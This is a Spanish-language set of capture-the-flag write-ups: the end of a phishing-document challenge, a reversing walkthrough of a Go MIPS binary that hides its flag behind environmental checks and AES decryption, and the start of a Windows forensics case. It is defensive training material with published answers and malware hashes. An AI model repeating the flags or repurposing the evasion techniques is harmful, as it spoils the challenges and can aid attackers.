| T1203 | *Exploitation for Client Execution*: CVE-2017-0199 en Office. |
| T1218.005 | *System Binary Proxy Execution: Mshta*: el HTA se ejecuta con `mshta.exe`. |
| T1105 | *Ingress Tool Transfer*: descarga de la carga desde la URL. |

## 7.8. Contexto: ¿por qué se llama así?

- **Spear phishing** es el phishing "con arpón": dirigido a una organización o persona concreta, con un cebo creíble. "**Can you catch me?**" juega con el doble sentido de *phishing* (pescar) y *catch* (atrapar), y recuerda a *Catch Me If You Can*, la historia del estafador Frank Abagnale.
- **Nóminas**: uno de los cebos más eficaces; casi nadie resiste abrir un documento sobre sueldos.
- **Dagobah** es el planeta pantanoso de *Star Wars* donde Yoda vive escondido. El atacante también se esconde, en un servidor de la red interna (`.local`).
- **CVE-2017-0199** fue un *0-day* detectado en abril de 2017 (FireEye y McAfee) y parcheado el 11 de abril de 2017. Grupos como APT28 o APT34 y campañas de Dridex lo usaron durante años; este documento es de septiembre de 2017, cuando seguía siendo muy explotado.

## 7.9. Conclusión

Un documento "vacío" no es inofensivo: todo el ataque está en un objeto enlazado. Detectarlo requiere mirar la estructura del fichero (`rtfobj`), no su contenido visible. Mitigaciones: parchear Office, bloquear objetos OLE en RTF y limitar `mshta.exe`.

# 8. Reversing: Go go go!

## 8.1. Ficha del reto

| | |
|---|---|
| Categoría | Reversing (Linux, Go, MIPS) |
| Dificultad | 3/5 |
| Contraseña | `infected` (zip) |
| Objetivo | Obtener la flag del binario |
| Herramientas | `7z`, `readelf`, `strings`, Python (`pyelftools`, `capstone`, `pycryptodome`), `qemu-mips` (opcional) |

## 8.2. Enunciado

*Obtén el flag del siguiente binario. NOTA: el password del zip es infected.*

## 8.3. Ficheros analizados

| Fichero | Bytes | Descripción |
|---|---|---|
| `LetsGo*.zip` | 876.630 | Zip cifrado del enunciado |
| `MD5 f6446fe1d43ecf9b26a6806d13528d11` `SHA1 2bba2aab0e4c48737a14df3437680eb4337aea76` | | |
| `LetsGo` | 2.263.808 | ELF 32 bits MIPS big-endian, Go 1.10.3 |
| `MD5 235991ea447e7406d1c3904eada80097` `SHA1 9e431b6c6f703291c0923dd3c821f899a0af79e8` | | |

## 8.4. Resumen del análisis

1. `LetsGo` es un ELF de 32 bits para **MIPS big-endian**, escrito en Go 1.10.3 y sin símbolos.
2. La tabla `.gopclntab` conserva los nombres de las funciones; un parser propio los recupera.
3. `main.main` (desensamblado con Capstone) solo revela la flag si el kernel contiene `4.14.0`, hay exactamente **3 CPUs** y el sistema es `linux`. Por eso, al ejecutarlo, no imprime nada.
4. Usa la tercera de tres claves casi iguales (`1KH1hb001Y09olUo`) para descifrar con AES-128-CFB una cadena Base64-URL. Se descifra directamente en Python sin ejecutar el binario.

## 8.5. Conceptos clave

| | |
|---|---|
| **Go** | lenguaje de Google (2009); genera binarios estáticos fáciles de compilar para muchas arquitecturas. |
| **MIPS** | arquitectura de procesador habitual en routers y dispositivos IoT. |
| **Big-endian** | los números se guardan con el byte más significativo primero. |
| **.gopclntab** | tabla de Go con nombres y direcciones de funciones; permite analizar binarios sin símbolos. |
| **AES** | cifrado simétrico estándar actual (bloques de 128 bits). |
| **CFB** | modo de AES que funciona como cifrado de flujo; usa un IV de 16 bytes. |
| **Base64-URL** | codificación de binario a texto con `-` y `_` en lugar de `+` y `/`. |
| **PKCS#7** | relleno: se añaden N bytes de valor N hasta completar el bloque; si es correcto, la clave es correcta. |
| **Environmental keying** | el malware solo se revela en un entorno concreto (aquí: kernel, CPUs y SO). |
| **qemu-user** | emula otra arquitectura para ejecutar un binario en el procesador actual. |

## 8.6. Procedimiento y análisis

**Carpeta:** `/home/kali/Downloads/retosRecuperacion/Reversing Go go go!`

### Paso 1. Entrar, verificar y extraer

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion]#
cd '/home/kali/Downloads/retosRecuperacion/Reversing Go go go!' && md5sum LetsGo*.zip && \
  7z x -y -pinfected LetsGo*.zip | tail -3
```

**Qué hace cada parte**

| | |
|---|---|
| `'...go go go!'` | comillas simples obligatorias: en zsh `!` entre comillas dobles se interpreta como historial |

**Salida esperada**

```
1 f6446fe1d43ecf9b26a6806d13528d11  LetsGo-f6446fe1d43ecf9b26a6806d13528d11.zip
2
3 Size:       2263808
4 Compressed: 876630
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `f6446fe1d43ecf9b26a6806d13528d11 LetsGo-f6446fe1d43ecf9b26a6806d13528...` | MD5 correcto |
| **3** | `Size: 2263808` | 2,2 MB descomprimido |

**Errores posibles**

| | |
|---|---|
| `zsh: event not found` | se usaron comillas dobles con `!`: usar comillas simples |

### Paso 2. Tipo de binario

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Go go go!]#
file LetsGo && md5sum LetsGo && readelf -h LetsGo | grep -E 'Class|Data|Machine|Entry'
```

**Qué hace cada parte**

| | |
|---|---|
| `readelf -h` | cabecera ELF |

**Salida esperada**

```
1 LetsGo: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go
      ↪ BuildID=sfhqOhnt3GK05ZxcfeUj/SBhFt-HoqAis9tYiBDh3/mTANZGQwwTBKudzVtd4C/
      ↪ wibtVeoI1L7toIwooYa9, stripped
2 235991ea447e7406d1c3904eada80097  LetsGo
3   Class:                             ELF32
4   Data:                              2's complement, big endian
5   Machine:                           MIPS R3000
6   Entry point address:               0x70f40
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `LetsGo: ELF 32-bit MSB executable, M IPS, MIPS32 version 1 (SYSV), stat...` | MIPS de 32 bits **big-endian** (MSB): routers/IoT |
| **1** | `LetsGo: ELF 32-bit MSB executable, M IPS, MIPS32 version 1 (SYSV), stat...` | compilado con **Go** |
| **1** | `LetsGo: ELF 32-bit MSB executable, M IPS, MIPS32 version 1 (SYSV), stat...` | sin símbolos |
| **4** | `Data: 2's complement, big endian` | confirmación del orden de bytes |

**Pista (línea 1)**

Es Go: aunque esté stripped, Go guarda los nombres de funciones en `.gopclntab`.

**Siguiente paso:** Buscar esa sección.

### Paso 3. Versión de Go y secciones

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Go go go!]#
strings -n 6 LetsGo | grep -oE 'go1\.[0-9]+\.[0-9]+' | sort -u && readelf -S LetsGo | \
  grep -E 'text|rodata|gopclntab'
```

**Salida esperada**

```
1 go1.10.3
2   [ 1] .text             PROGBITS        00011000 001000 1095bc 00  AX  0   0  4
3   [ 2] .rodata           PROGBITS        00120000 110000 04ce1e 00   A  0   0 32
4   [ 7] .gopclntab        PROGBITS        0016de40 15de40 064f32 00   A  0   0 32
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `go1.10.3` | Go 1.10.3 (2018) |
| **4** | `[ 7] .gopclntab PROGBITS 0016de40 15de40 064f32 00 A ...` | tabla de funciones presente: se pueden recuperar los nombres |

### Paso 4. Funciones del paquete main

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Go go go!]#
python3 go_pclntab.py LetsGo main. | grep -v runtime
```

**Qué hace cada parte**

| | |
|---|---|
| `go_pclntab.py` | script: con **pyelftools** lee `.gopclntab` y lista inicio, fin y nombre de cada función |

**Salida esperada**

```
1 0x00119908 0x00119918 main.PCCKsmOSrmbDMUGqoFINVL
2 0x00119918 0x0011992c main.quKuchsVvIEUGZDKOxl
3 0x0011992c 0x001199ac main.FWPmCP
4 0x001199ac 0x00119a58 main.addBase64Padding
5 0x00119a58 0x00119ae0 main.removeBase64Padding
6 0x00119ae0 0x00119c1c main.Pad
7 0x00119c1c 0x00119ec0 main.encrypt
8 0x00119ec0 0x0011a4d8 main.main
9 0x0011a4d8 0x0011a5bc main.init
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `0x00119908 0x00119918 main.PCCKsmOSrmbDMUGqoFINVL` | nombres sin sentido: funciones **ofuscadas** |
| 7 | `0x00119c1c 0x00119ec0 main.encrypt` | funciones de cifrado y relleno (`encrypt`, `Pad`, Base64) |
| 8 | `0x00119ec0 0x0011a4d8 main.main` | función principal, de 0x119ec0 a 0x11a4d8 |

**Pista (línea 8)**

El flujo está en `main.main`.

**Siguiente paso:** Ver qué librerías usa y luego desensamblar `main.main`.

### Paso 5. Librerías y criptografía

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Go go go!]#
python3 go_pclntab.py LetsGo | grep -E -e 'goInfo\.GetInfo$' -e 'go-figure\.NewFigure$' \
  -e 'figure\.Print$' -e 'aes\.NewCipher$' -e 'NewCFBDecrypter$' \
  -e 'base64.*Encoding.*DecodeString$'
```

**Salida esperada**

```
1 0x00082efc 0x00082f80 crypto/cipher.NewCFBDecrypter
2 0x0008e980 0x0008ea68 crypto/aes.NewCipher
3 0x000d8828 0x000d8980 encoding/base64.(*Encoding).DecodeString
4 0x000defa4 0x000df34c github.com/matishsiao/goInfo.GetInfo
5 0x0010a3dc 0x0010a52c github.com/common-nighthawk/go-figure.NewFigure
6 0x0010b478 0x0010b584 github.com/common-nighthawk/go-figure.figure.Print
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `0x00082efc 0x00082f80 crypto/cipher.NewCFBDecrypter` | AES en **modo CFB** |
| **2** | `0x0008e980 0x0008ea68 crypto/aes.NewCipher` | AES |
| **3** | `0x000d8828 0x000d8980 encoding/base64.(*Encoding).DecodeString` | decodifica Base64 |
| **4** | `0x000defa4 0x000df34c github.com/matishsiao/goInfo.GetInfo` | librería `goInfo`: lee datos del sistema (SO, kernel, CPUs...) |
| **5** | `0x0010a3dc 0x0010a52c github.com/common-nighthawk/go-figure.NewFigure` | librería `go-figure`: dibuja texto en ASCII-art |

**Pista (línea 4)**

Lee datos del sistema: probablemente comprueba el entorno antes de mostrar algo.

**Siguiente paso:** Buscar las cadenas usadas.

### Paso 6. Cadenas sospechosas

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Go go go!]#
strings -n 16 LetsGo | grep -oE -e 'wD5q[A-Za-z0-9_-]{60}' -e '1KH1hb001Y09olU.' \
  -e dwnoDlybPWZTYRdbFpit -e Xa22SKeyAll1aadf1 -e 'GoOS:%v[A-Za-z:%v,]*CPUs:%v' | sort \
  -u
```

**Salida esperada**

```
1KH1hb001Y09olU1
1KH1hb001Y09olU2
1KH1hb001Y09olUo
GoOS:%v,Kernel:%v,Core:%v,Platform:%v,OS:%v,Hostname:%v,CPUs:%v
Xa22SKeyAll1aadf1
dwnoDlybPWZTYRdbFpit
wD5qPxNCP5yKQaYC7MzpWTNmZRQctNbaDCoJqGDSBkNjzwqkSQ_F7F6FYhFyD4Ha
wD5qPxNCP5yKQaYC7MzpWTNmZRQctNbaDCoJqGDSBkNjzwqkSQ_F7F6FYhFyD4Hk
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `1KH1hb001Y09olU1` | tres claves de 16 caracteres casi idénticas (terminan en 1, 2 y o): AES-128 |
| **4** | `GoOS:%v,Kernel:%v,Core:%v,Platform:%v,OS:%v,Hostname:%v,CPUs:%v` | formato de la información del sistema |
| **7** | `wD5qPxNCP5yKQaYC7MzpWTNmZRQctNbaDCoJqGDSBkNjzwqkSQ_F7F6FYhFyD4Ha` | dos cadenas Base64-URL de 64 caracteres que solo cambian en el último carácter (`a`/`k`) |

**Pista (línea 8)**

64 caracteres Base64 = 48 bytes = IV (16) + 32 cifrados.

**Siguiente paso:** Ver en `main.main` cuál se usa y con qué clave.

### Paso 7. Ejecución emulada (opcional)

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Go go go!]#
chmod +x LetsGo && qemu-mips ./LetsGo; echo "codigo de salida: $?"
```

**Qué hace cada parte**

| | |
|---|---|
| `qemu-mips` | ejecuta el binario MIPS en el procesador x86 |
| `$?` | código de salida (0 = sin error) |

**Salida esperada**

```
codigo de salida: 0
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `codigo de salida: 0` | termina bien pero **sin imprimir nada** |

**Pista (línea 1)**

No muestra nada: hay condiciones de entorno.

**Siguiente paso:** Desensamblar `main.main`.

**Errores posibles**

| | |
|---|---|
| `qemu-mips: command not found` | falta `qemu-user`: ejecutar `instalar.sh` |

## Paso 8. Desensamblar main.main

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Go go go!]#
python3 go_mips_disasm.py LetsGo main.main > main_main.txt && grep -E 'jal|"' \
  main_main.txt | cut -c1-105
```

**Qué hace cada parte**

| | |
|---|---|
| `go_mips_disasm.py` | script: desensambla MIPS con **Capstone** y anota cada `jal` (llamada) con el nombre de la función y cada cadena referenciada |
| `> main_main.txt` | guarda el desensamblado completo |

**Salida esperada**

```
0x119ed8: jal      0x6e6a8   ; -> runtime.morestack_noctxt
0x119ef0: jal      0xdefa4   ; -> github.com/matishsiao/goInfo.GetInfo
0x119f14: addiu    $v0, $v0, 0x13cc   ; 0x1513cc "4.14.0<-
    ↪ chanArabicAugustBrahmiCarianChakmaCommon"
0x119f24: jal      0xc4df8   ; -> strings.Contains
0x119f4c: addiu    $v1, $v1, 0x3534   ; 0x153534 "1
    ↪ KH1hb001Y09olU21KH1hb001Y09olUo2384185791015625"
0x119f5c: jal      0x5ccb4   ; -> runtime.stringtoslicebyte
0x119f84: addiu    $a0, $a0, 0x3524   ; 0x153524 "1
    ↪ KH1hb001Y09olU11KH1hb001Y09olU21KH1hb001Y09olUo"
0x119f94: jal      0x5ccb4   ; -> runtime.stringtoslicebyte
0x119fc0: addiu    $a0, $a0, 0x3544   ; 0x153544 "1KH1hb001Y09olUo2384185791015625lineoblique.
    ↪ flf"
0x119fd0: jal      0x5ccb4   ; -> runtime.stringtoslicebyte
0x119ff0: jal      0x8e980   ; -> crypto/aes.NewCipher
0x11a03c: jal      0x49588   ; -> runtime.newproc
0x11a048: addiu    $at, $at, -0x634f   ; 0x159cb1 "
    ↪ wD5qPxNCP5yKQaYC7MzpWTNmZRQctNbaDCoJqGDSBkNjzwqk"
0x11a058: jal      0x1199ac   ; -> main.addBase64Padding
0x11a07c: jal      0xd8828   ; -> encoding/base64.(*Encoding).DecodeString
0x11a0ec: jal      0x82efc   ; -> crypto/cipher.NewCFBDecrypter
0x11a14c: jalr     $at
0x11a1e8: addiu    $at, $at, 0x1289   ; 0x151289 "linuxlo   open panicpc   pipe2r0   r1   r10
    ↪  r11"
0x11a1f8: jal      0xc4df8   ; -> strings.Contains
0x11a22c: jal      0x5cb20   ; -> runtime.slicebytetostring
0x11a254: jal      0x10a3dc   ; -> github.com/common-nighthawk/go-figure.NewFigure
0x11a2ac: jal      0x10b478   ; -> github.com/common-nighthawk/go-figure.figure.Print
0x11a2c0: jal      0xbb370   ; -> fmt.Println
0x11a2f4: addiu    $at, $at, -0x638f   ; 0x159c71 "
    ↪ wD5qPxNCP5yKQaYC7MzpWTNmZRQctNbaDCoJqGDSBkNjzwqk"
0x11a318: jal      0x49588   ; -> runtime.newproc
0x11a328: jal      0xdea80   ; -> github.com/matishsiao/goInfo.(*GoInfoObject).VarDump
```

```
0x11a34c: jal      0x49588  ; -> runtime.newproc
0x11a3ac: addiu    $at, $at, -0x638f  ; 0x159c71 "
    ↪ wD5qPxNCP5yKQaYC7MzpWTNmZRQctNbaDCoJqGDSBkNjzwqk"
0x11a3d0: jal      0x49588  ; -> runtime.newproc
0x11a3fc: addiu    $at, $at, 0x3a45  ; 0x153a45 "Xa22SKeyAll1aadf1bad TinySizeClasscorrupt
    ↪ zip fi"
0x11a420: jal      0x49588  ; -> runtime.newproc
0x11a444: jal      0x49588  ; -> runtime.newproc
0x11a470: jal      0x49588  ; -> runtime.newproc
0x11a4a8: jal      0x3c6bc  ; -> runtime.panicslice
0x11a4b4: jal      0x3c640  ; -> runtime.panicindex
0x11a4c0: jal      0x3c6bc  ; -> runtime.panicslice
0x11a4cc: jal      0x3c6bc  ; -> runtime.panicslice
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 2 | `0x119ef0: jal 0xdefa4 ; -> github.com/matishsiao/goInfo.GetInfo` | 1) lee la información del sistema |
| 3 | `0x119f14: addiu $v0, $v0, 0x13cc ; 0x1513cc "4.14.0<-chanArabicAug...` | 2) compara con `4.14.0` |
| 5 | `0x119f4c: addiu $v1, $v1, 0x3534 ; 0x153534 "1KH1hbO01YO9olU21KH1h...` | 3) prepara la clave `...U2` |
| 7 | `0x119f84: addiu $a0, $a0, 0x3524 ; 0x153524 "1KH1hbO01YO9olU11KH1h...` | y la clave `...U1` |
| 9 | `0x119fc0: addiu $a0, $a0, 0x3544 ; 0x153544 "1KH1hbO01YO9olUo23841...` | y la clave `...Uo` |
| 11 | `0x119ff0: jal 0x8e980 ; -> crypto/aes.NewCipher` | 4) crea el cifrador AES |
| 13 | `0x11a048: addiu $at, $at, -0x634f ; 0x159cb1 "wD5qPxNCP5yKQaYC7Mzp...` | 5) cadena Base64 `...D4Hk` |
| 16 | `0x11a0ec: jal 0x82efc ; -> crypto/cipher.NewCFBDecrypter` | 6) descifra con AES-CFB |
| 18 | `0x11a1e8: addiu $at, $at, 0x1289 ; 0x151289 "linuxlo open panicp...` | 7) comprueba `linux` |
| 22 | `0x11a2ac: jal 0x10b478 ; -> github.com/common-nighthawk/go-figur...` | 8) imprime en ASCII-art |
| 30 | `0x11a3fc: addiu $at, $at, 0x3a45 ; 0x153a45 "Xa22SKeyAll1aadf1bad ...` | señuelo: `Xa22SKeyAll1aadf1` en una goroutine |

## Paso 9. Condición 1: kernel

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Go go go!]#
awk '/0x119ef0/,/0x119f34/' main_main.txt
```

Qué hace cada parte

| | |
|---|---|
| `awk '/A/,/B/'` | imprime desde la línea con A hasta la línea con B |

Salida esperada

```
0x119ef0: jal      0xdefa4  ; -> github.com/matishsiao/goInfo.GetInfo
0x119ef4: nop
0x119ef8: lw       $at, 4($sp)
0x119efc: sw       $at, 0xcc($sp)
0x119f00: lw       $v0, 0x10($at)
0x119f04: lw       $v1, 0x14($at)
0x119f08: sw       $v0, 4($sp)
0x119f0c: sw       $v1, 8($sp)
0x119f10: lui      $v0, 0x15
```

```
0x119f14: addiu    $v0, $v0, 0x13cc  ; 0x1513cc "4.14.0<-chanArabicAugustBrahmiCarianChakmaCommon"
0x119f18: sw       $v0, 0xc($sp)
0x119f1c: addiu    $v0, $zero, 6
0x119f20: sw       $v0, 0x10($sp)
0x119f24: jal      0xc4df8  ; -> strings.Contains
0x119f28: nop
0x119f2c: lbu      $at, 0x14($sp)
0x119f30: beqz     $at, 0x11a498
[... 1 líneas más ...]
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `0x119ef0: jal 0xdefa4 ; -> github.com/matishsiao/goInfo.GetInfo` | obtiene la estructura con los datos del sistema |
| **5** | `0x119f00: lw $v0, 0x10($at)` | lee el campo `Kernel` (offset 0x10) |
| **10** | `0x119f14: addiu $v0, $v0, 0x13cc ; 0x1513cc "4.14.0<-chanArabicAug...` | cadena a buscar |
| **14** | `0x119f24: jal 0xc4df8 ; -> strings.Contains` | ¿el kernel contiene `4.14.0`? |
| **17** | `0x119f30: beqz $at, 0x11a498` | si no (0), salta a 0x11a498 = salida sin hacer nada |

**Pista (línea 17)**

**Condición 1:** el kernel debe contener `4.14.0`.

**Siguiente paso:** Ver qué clave se usa.

## Paso 10. Clave real

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Go go go!]#
awk '/0x119fb4/,/0x11a008/' main_main.txt
```

**Salida esperada**

```
0x119fb4: addiu    $a0, $sp, 0x94
0x119fb8: sw       $a0, 4($sp)
0x119fbc: lui      $a0, 0x15
0x119fc0: addiu    $a0, $a0, 0x3544  ; 0x153544 "1KH1hb001Y09olUo2384185791015625 5lineoblique.flf"
0x119fc4: sw       $a0, 8($sp)
0x119fc8: addiu    $a0, $zero, 0x10
0x119fcc: sw       $a0, 0xc($sp)
0x119fd0: jal      0x5ccb4  ; -> runtime.stringtoslicebyte
0x119fd4: nop
0x119fd8: lw       $at, 0x14($sp)
0x119fdc: lw       $v0, 0x10($sp)
0x119fe0: lw       $v1, 0x18($sp)
0x119fe4: sw       $v0, 4($sp)
0x119fe8: sw       $at, 8($sp)
0x119fec: sw       $v1, 0xc($sp)
0x119ff0: jal      0x8e980  ; -> crypto/aes.NewCipher
[... 6 líneas más ...]
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 4 | `0x119fc0: addiu $a0, $a0, 0x3544 ; 0x153544 "1KH1hb001Y09olUo23841...` | se carga `1KH1hb001Y09olUo` |
| 6 | `0x119fc8: addiu $a0, $zero, 0x10` | longitud 16 (AES-128) |
| 8 | `0x119fd0: jal 0x5ccb4 ; -> runtime.stringtoslicebyte` | la convierte a bytes |
| 16 | `0x119ff0: jal 0x8e980 ; -> crypto/aes.NewCipher` | **se pasa a `aes.NewCipher`**: es la clave real |

**Pista (línea 16)**

Clave real: `1KH1hb001Y09olUo` (las otras dos se preparan pero no se usan).

**Siguiente paso:** Ver la segunda condición.

### Paso 11. Condición 2: CPUs

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Go go go!]#
awk '/0x11a154/,/0x11a178/' main_main.txt
```

Salida esperada

```
0x11a154: lw       $at, 0x70($sp)
0x11a158: xori     $v0, $at, 2
0x11a15c: beqz     $v0, 0x11a3e0
0x11a160: nop
0x11a164: xori     $v0, $at, 8
0x11a168: beqz     $v0, 0x11a390
0x11a16c: nop
0x11a170: xori     $at, $at, 3
0x11a174: bnez     $at, 0x11a2c8
0x11a178: nop
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `0x11a154: lw $at, 0x70($sp)` | carga el número de CPUs |
| 2 | `0x11a158: xori $v0, $at, 2` | ¿2 CPUs? → goroutine señuelo |
| 5 | `0x11a164: xori $v0, $at, 8` | ¿8 CPUs? → otra goroutine señuelo |
| 8 | `0x11a170: xori $at, $at, 3` | ¿3 CPUs? |
| 9 | `0x11a174: bnez $at, 0x11a2c8` | si no son 3, sale |

**Pista (línea 8)**

**Condición 2:** exactamente 3 CPUs (y después SO `linux`).

**Siguiente paso:** Descifrar directamente con la clave real.

### Paso 12. Descifrar con Python

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Go go go!]#
python3 go_decrypt.py
```

Qué hace cada parte

| | |
|---|---|
| `go_decrypt.py` | script: Base64-URL → IV (16 bytes) + cifrado; AES-128-CFB con **pycryptodome** usando las 3 claves |

Salida esperada

```
1KH1hb001Y09olUo -> b'Flag: RobPike2009' (PKCS7 OK)
```

```
2 1KH1hb001Y09olU1 -> b'\xd87tw\xc3\xa6Z\xa4\xa1\x8e\xcfN\xfbH\\\xc2+\xec\x16V\x86h)]\xb9\xd8\
      ↪ xcet\x84\xf0\x8a\x93'
3 1KH1hb001Y09olU2 -> b'\xc1\xa5=Y\x07\xe0tE\xde\t\x81ql\xc28\xf4\x8a\xbbHeS\xe1\x97/\xfd\xa35\
      ↪ xf6\x89\xc6"\xd1'
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `1KH1hb001Y09olUo -> b'Flag: RobPike2 009' (PKCS7 OK)` | con la clave real sale `Flag: RobPike2009` |
| 1 | `1KH1hb001Y09olUo -> b'Flag: RobPike2 009' (PKCS7 OK)` | relleno correcto: confirma la clave |
| 2 | `1KH1hb001Y09olU1 -> b'\xd87tw\xc3\xa 6Z\xa4\xa1\x8e\xcfN\xfbH\\\xc2+\xe...` | las otras dos claves dan bytes sin sentido |

**Pista (línea 1)**

Valor: `RobPike2009`.

**Siguiente paso:** MD5.

### Paso 13. Flag en MD5

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Go go go!]#
echo -n "RobPike2009" | md5sum
```

Salida esperada

```
1 f389c15c0ea41f12e53806fba659e2fb  -
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `f389c15c0ea41f12e53806fba659e2fb -` | MD5 del valor |

**Pista (línea 1)**

**Flag:** `flag{f389c15c0ea41f12e53806fba659e2fb}`

**Siguiente paso:** Enviar.

## 8.7. Resultado

**Flag de Go go go!**

`flag{f389c15c0ea41f12e53806fba659e2fb}`

Texto descifrado: `Flag: RobPike2009` (relleno PKCS#7 de 15 bytes `0x0f`, que confirma la clave).

## 8.8. Flujo de `main.main`

1. `goInfo.GetInfo()` recoge SO, kernel, núcleo, plataforma, *hostname* y CPUs (cadena de formato `GoOS:%v, Kernel:%v, ...`).
2. Si `Kernel` no contiene `4.14.0` → termina sin decir nada.
3. Convierte a *slice* las tres claves `1KH1hb001Y09olU2`, `1KH1hb001Y09olU1` y `1KH1hb001Y09olUo`; solo la tercera llega a `aes.NewCipher`.
4. Decodifica `wD5q...D4Hk` (Base64-URL, 64 caracteres = 48 bytes): IV = 16 primeros bytes; resto = 32 bytes cifrados. Descifra con `cipher.NewCFBDecrypter`.

5. `switch CPUs`: con 2 u 8 lanza goroutines que cifran cadenas señuelo; con un valor distinto de 3 termina.
6. Con 3 CPUs quita el relleno, comprueba que el SO contenga `linux` y dibuja la flag en ASCII-art con `go-figure`; si no, vuelca la información del sistema (`VarDump`).

## 8.9. Señuelos

| | |
|---|---|
| `1KH1hbO01YO9olU1`, `...U2` | Claves casi idénticas a la real que producen basura. |
| `wD5q...D4Ha` | Cadena casi idéntica a la real (cambia el último carácter), usada por las goroutines. |
| `Xa22SKeyAll1aadf1` | Cadena con aspecto de clave para la goroutine del caso 2 CPUs. |
| `dwnoDlybPWZTYRdbFpit` + `SAgpdWyEhTjWmAmqBNaBgPJv` | Concatenadas por `main.FWPmCP`; no llegan a usarse para la flag. |
| Nombres ofuscados | `main.FWPmCP`, `main.PCCKsmOSrmbDMUGqoFINVL`, `main.quKuchsVvIEUGZDKOxl`. |

## 8.10. Técnicas observadas (MITRE ATT&CK)

| | |
|---|---|
| T1480.001 | *Execution Guardrails: Environmental Keying*: el secreto solo se revela con kernel 4.14.0, 3 CPUs y Linux. |
| T1497.001 | *Virtualization/Sandbox Evasion: System Checks*: comprobaciones del entorno antes de actuar. |
| T1082 | *System Information Discovery*: `goInfo.GetInfo`. |
| T1027 | *Obfuscated Files or Information*: cadena cifrada, claves señuelo y nombres de funciones ofuscados. |
| T1140 | *Deobfuscate/Decode Files or Information*: Base64 + AES-CFB en tiempo de ejecución. |

## 8.11. Contexto: ¿por qué se llama así?

- **"Go go go!" / "LetsGo"**: juego de palabras con el nombre del lenguaje **Go**.
- **Rob Pike** es uno de los tres creadores de Go en Google, junto con Robert Griesemer y Ken Thompson (diseño iniciado en 2007). Antes trabajó en Bell Labs en Unix y Plan 9 y co-diseñó UTF-8 con Ken Thompson. Go se presentó públicamente el **10 de noviembre de 2009**. "RobPike2009" es, por tanto, el creador y el año de nacimiento público del lenguaje.
- **Go + MIPS** es una combinación muy habitual en el malware IoT actual: Go genera binarios estáticos que se compilan fácilmente para routers y cámaras.

## 8.12. Conclusión

Los binarios Go *stripped* siguen siendo analizables gracias a `.gopclntab`. El *environmental keying* hace inútil el análisis dinámico ingenuo; el estático revela las condiciones y permite descifrar la flag sin recrear el entorno.

# 9. H0rr0crux

## 9.1. Ficha del reto

| | |
|---|---|
| Categoría | Forense de Windows (post-incidente) |
| Dificultad | 1/5 (125 puntos) |
| Objetivo | MD5 del binario dañino responsable de las conexiones (`flag{<md5_binario>}`) |
| Herramientas | `7z`, `sccainfo`, `esedbexport`, Python (`regipy`, `python-evtx`, `pefile`), `strings`, VirusTotal API v3 |

## 9.2. Enunciado

*Nuestros compañeros del SOC nos han avisado de que cierta máquina ha realizado conexiones sospechosas que podrían estar relacionadas con el malware Gozi. Tras recoger evidencias se ha restaurado el equipo. Necesitamos identificar el binario dañino responsable de las conexiones. Objetivo: proporciona el MD5 del binario dañino (flag{<md5_binario>}).*

## 9.3. Ficheros analizados

| Fichero | Bytes | Descripción |
|---|---|---|
| `evidencias_sorvologaunt*.7z` | 870.091.187 | Evidencias del equipo |
| `MD5 130decf0165501e8e53148035b057bd5 SHA1 a3358d79b6b24bd2afb5267a6bbe8672fd0613b6` | | |
| `evid/$MFT` | 274.726.912 | Tabla maestra de ficheros NTFS |
| `MD5 c459b43cb57b7def4fadea9ab9956df8 SHA1 9497dd5ba3c2f2f386e396261369953caca0a146` | | |
| `Amcache.hve` | 1.310.720 | Inventario de ejecutables (SHA1) |
| `MD5 7f52560258a724d588e4ee11b71121ce SHA1 08bb35413d6854b6ce06a56af4464772cd7e86d7` | | |
| `SRUDB.dat` | 1.966.080 | Base de datos SRUM |
| `MD5 b7ce9444d2c0da0211690ee84bc68d13 SHA1 7e59d0650fbb9747c6d3f05a68045a6db7af9cba` | | |
| `uninstall.exe` | 86.528 | Señuelo: PE Look renombrado |
| `MD5 ea74a438b1303c96335f5f253b4bf045 SHA1 b80a51f46b601e178180a70fa548bce4f62fea95` | | |
| `httpd.exe (borrado)` | 15.360 | **Binario malicioso** (Cobalt Strike): SHA1 de Amcache, MD5 de VirusTotal |
| `MD5 dbe0e10775e35a58e8ff463ccbe5f7d8 SHA1 409aea9461d03bff3e006d3e7e7c4790a0862170` | | |
| `tor.exe (borrado)` | 231.936 | Señuelo (en realidad `tag_converter.exe`) |
| `MD5 3e6f1f16a4cbbf7c5a5c077ab197bb50 SHA1 99e107ca419959385ca57241fb6ed3796eaacc9e` | | |
| `inject.exe (borrado)` | 226.304 | Señuelo detectado por Defender |
| `MD5 (no está en VirusTotal) SHA1 de275b64985009d335ab85b38d26a3026739a68a` | | |

## 9.4. Resumen del análisis

